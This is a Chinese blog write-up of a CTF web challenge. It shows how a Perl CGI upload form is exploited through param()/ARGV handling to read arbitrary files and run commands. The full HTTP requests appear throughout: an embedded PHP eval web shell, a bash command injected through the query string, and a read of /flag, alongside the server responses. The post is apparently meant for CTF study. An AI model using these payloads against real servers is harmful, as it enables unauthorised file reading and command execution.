

XCTF-高手进阶区：i-got-id-200

原创

[1stPeak](#) 于 2020-04-14 19:10:29 发布 318 收藏 1

分类专栏：[CTF刷题](#) 文章标签：[XCTF](#)

版权声明：本文为博主原创文章，遵循[CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_41617034/article/details/105518914

版权



[CTF刷题](#) 专栏收录该内容

87 篇文章 22 订阅

订阅专栏

题目

i-got-id-200 👍 9 最佳Writeup由darkless提供 WP 建议

难度系数: ★★★★★ 6.0

题目来源: csaw-ctf-2016-quals

题目描述: 嗯。。我刚建好了一个网站

题目场景: http://159.138.137.79:56736 删除场景

倒计时: 03:59:49 延时

题目附件: 暂无

https://blog.csdn.net/qq_41617034

文件(F) 编辑(E) 查看(V) 历史(S) 书签(B) 工具(T) 帮助(H)

Perl Examples × +

← → ↻ 🏠 🔒 🔗 159.138.137.79:56736

- [Hello World](#)
- [Forms](#)
- [Files](#)

https://blog.csdn.net/qq_41617034

三个文件，都是perl写的，Files存在上传文件，它会将上传的文件内容打印出来

文件(F) 编辑(E) 查看(V) 历史(S) 书签(B) 工具(T) 帮助(H)

Perl File Upload × + http://159.138.137.79:56736/cgi × +

← → ↻ 🏠 🔗 view-source:http://159.138.137.79:56736/cgi-bin/file.pl

```

1 <!DOCTYPE html
2 PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
3 "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
4 >
5 <html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
6 <head>
7 <title>Perl File Upload</title>
8 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
9 </head>
10 <body>
11 <h1>Perl File Upload</h1>
12 <form method="post" enctype="multipart/form-data">
13   File: <input type="file" name="file" />
14   <input type="submit" name="Submit!" value="Submit!" />
15 </form>
16 <hr />
17 GIF89a
18 <br /><script language="php">@eval($_REQUEST[peak])</script><br /></body></html>

```

https://blog.csdn.net/qq_41617034

没接触过perl，看了别人的wp，就简单说一下，以后学了perl再来回味
因为它会将上传的文件内容打印出来，所以猜测后台存在param()函数
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。如果我们传入一个ARGV的文件，那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的
大佬们猜的后台代码

```

use strict;
use warnings;
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) {
    my $file= $cgi->param( 'file' );
    while ( <$file> ) { print "$_"; }
}

```

接下来就是payload了

1、先bp抓包，然后将上传的文件名和内容复制一份粘贴，如下：

The screenshot shows a web browser's developer tools with the 'Request' and 'Response' tabs selected. The 'Request' tab shows a multipart form-data body with several parts, including a file named 'peak.php' and a script payload. The 'Response' tab shows the server's HTML output, which includes the file name and the script execution.

Request:

```

POST /cgi-bin/file.pl HTTP/1.1
Host: 159.138.137.79:56736
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----292151340418777
Content-Length: 591
Origin: http://159.138.137.79:56736
Connection: close
Referer: http://159.138.137.79:56736/cgi-bin/file.pl
Cookie: PHPSESSID=1eh20rur4kr4at5ls93vcav114
Upgrade-Insecure-Requests: 1
-----292151340418777
Content-Disposition: form-data; name="file"; filename="peak.php"
Content-Type: application/octet-stream
GIF89a
<script language="php">@eval($_REQUEST[peak])</script>
-----292151340418777
Content-Disposition: form-data; name="file"; filename="peak.php"
Content-Type: application/octet-stream
GIF89a
<script language="php">@eval($_REQUEST[peak])</script>
-----292151340418777
Content-Disposition: form-data; name="Submit!"
Submit!
-----292151340418777--

```

Response:

```

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Perl File Upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<h1>Perl File Upload</h1>
<form method="post" enctype="multipart/form-data">File:
<input type="file" name="file" />
<input type="submit" name="Submit!" value="Submit!" />
</form>
<hr />
GIF89a
<br />
<script language="php">@eval($_REQUEST[peak])</script>
<br />
</body>
</html>

```

2、将filename删去，内容修改为ARGV，读取file.pl看看有什么（就猜它在/var/www/cgi-bin/下！）

The screenshot shows a web browser's developer tools with the 'Request' and 'Response' tabs selected. The 'Request' tab shows a multipart form-data body with several parts, including a file named 'peak.php' and a script payload. The 'Response' tab shows the server's HTML output, which includes the file name and the script execution.

Request:

```

POST /cgi-bin/file.pl HTTP/1.1
Host: 159.138.137.79:56736
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----292151340418777
Content-Length: 512
Origin: http://159.138.137.79:56736
Connection: close
Referer: http://159.138.137.79:56736/cgi-bin/file.pl
Cookie: PHPSESSID=1eh20rur4kr4at5ls93vcav114
Upgrade-Insecure-Requests: 1
-----292151340418777
Content-Disposition: form-data; name="file";
Content-Type: application/octet-stream
ARGV
-----292151340418777
Content-Disposition: form-data; name="file"; filename="peak.php"
Content-Type: application/octet-stream
GIF89a
<script language="php">@eval($_REQUEST[peak])</script>
-----292151340418777
Content-Disposition: form-data; name="Submit!"
Submit!
-----292151340418777--

```

Response:

```

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Perl File Upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<h1>Perl File Upload</h1>
<form method="post" enctype="multipart/form-data">File:
<input type="file" name="file" />
<input type="submit" name="Submit!" value="Submit!" />
</form>
<hr />
#!/usr/bin/perl
<br />
<br />
use strict;
<br />
use warnings;
<br />
use CGI;
<br />
<br />
my $cgi = CGI->new;
<br />
<br />
print $cgi->header;

```

```
<br />
<br />
print
<< "EndOfHTML";
<br />
<!DOCTYPE html
<br />
```

https://blog.csdn.net/qq_41617034

3、根据返回的信息，可以肯定这里存在parm函数，然后我们利用bash来读取文件，先看看/目录下有哪些文件

Request

```
POST /cgi-bin/file.pl?/bin/bash%20-c%20ls%7CIFS/ HTTP/1.1
Host: 159.138.137.79:56736
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----292151340418777
Content-Length: 512
Origin: http://159.138.137.79:56736
Connection: close
Referer: http://159.138.137.79:56736/cgi-bin/file.pl
Cookie: PHPSESSID=1eh20rur4kr4at5ls93vcav14
Upgrade-Insecure-Requests: 1
-----292151340418777
Content-Disposition: form-data; name="file";
Content-Type: application/octet-stream

ARGV
-----292151340418777
Content-Disposition: form-data; name="file"; filename="peak.php"
Content-Type: application/octet-stream

GIF89a
<script language="php">@eval($_REQUEST[peak])</script>
-----292151340418777
Content-Disposition: form-data; name="Submit!"

Submit!
-----292151340418777--
```

Response

```
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Perl File Upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<h1>Perl File Upload</h1>
<form method="post" enctype="multipart/form-data">File:
<input type="file" name="file" />
<input type="submit" name="Submit!" value="Submit!" />
</form>
<hr />
bin
<br />
boot
<br />
dev
<br />
etc
<br />
flag
<br />
home
<br />
lib
<br />
lib64
<br />
media
<br />
mnt
<br />
opt
```

Target: http://159.138.137.79:56736

https://blog.csdn.net/qq_41617034

4、读取flag文件

Request

```
POST /cgi-bin/file.pl?/flag HTTP/1.1
Host: 159.138.137.79:56736
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----292151340418777
Content-Length: 512
Origin: http://159.138.137.79:56736
Connection: close
Referer: http://159.138.137.79:56736/cgi-bin/file.pl
Cookie: PHPSESSID=1eh20rur4kr4at5ls93vcav14
Upgrade-Insecure-Requests: 1
-----292151340418777
Content-Disposition: form-data; name="file";
Content-Type: application/octet-stream

ARGV
-----292151340418777
Content-Disposition: form-data; name="file"; filename="peak.php"
Content-Type: application/octet-stream

GIF89a
<script language="php">@eval($_REQUEST[peak])</script>
-----292151340418777
Content-Disposition: form-data; name="Submit!"

Submit!
-----292151340418777--
```

Response

```
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"
>
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Perl File Upload</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<h1>Perl File Upload</h1>
<form method="post" enctype="multipart/form-data">File:
<input type="file" name="file" />
<input type="submit" name="Submit!" value="Submit!" />
</form>
<hr />
cyberpeace{f30b7df5b2fe980291a8f751cb73515d}
<br />
</body>
</html>
```

Target: http://159.138.137.79:56736

https://blog.csdn.net/qq_41617034

补充

1、何为 `/bin/bash -c` ?

`/bin/bash -c`表示指定将命令转为一个完整命令执行，可以理解为执行linux命令

例：

```
root@1stPeak:/home/n1v1r# /bin/bash -c echo "test" >> test.txt
root@1stPeak:/home/n1v1r#
root@1stPeak:/home/n1v1r# /bin/bash -c 'echo "test" >> test.txt'
root@1stPeak:/home/n1v1r#
```

2、何为 `${IFS}` ?

`$IFS` 是shell的特殊环境变量,是Linux下的内部区域分隔符。`$IFS` 中存储的值可以使空格、制表符、换行符或者其他自定义符号，可以在linux中使用 `${IFS}` 代替空格

例：

```
root@1stPeak:/home/n1v1r# ls${IFS}/
bin  cdrom  etc  initrd.img  lib  lost+found  mnt  proc  run  snap  swapfile  tmp  var  vmlinuz.old
boot  dev  home  initrd.img.old  lib64  media  opt  root  sbin  srv  sys  usr  vmlinuz
root@1stPeak:/home/n1v1r#
```

3、为什么要加|?

|: 管道符左边命令的输出就会作为管道符右边命令的输入，这里为什么要加我也没搞明白，如有知道的朋友评论告诉我，谢谢。

举例一个常见的用法吧：

`cat`后输出的内容，作为|后面内容的输入，这里是交给`grep`执行

```
root@1stPeak:/home/n1v1r# cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
n1v1r:x:1000:1000:1stPeak,,,:/home/n1v1r:/bin/bash
```

注：经测试，`${IFS}`和`/bin/bash`联用时，不代表空格，为啥，有大佬知道的可以告诉下，我之后也去查查资料，如果知道了，会更新。

```
root@1stPeak:/home/n1v1r# /bin/bash -c ls${IFS}/
examples.desktop  phulp-fplzdam-master  test.txt  VMwareTools-10.3.10-13959562.tar.gz  vmware-tools-distrib  公共的  模板  视频  图片  文档  下载  音乐  桌面
```

IFS更详细的可以参考：<https://www.jianshu.com/p/2d34ef30361b>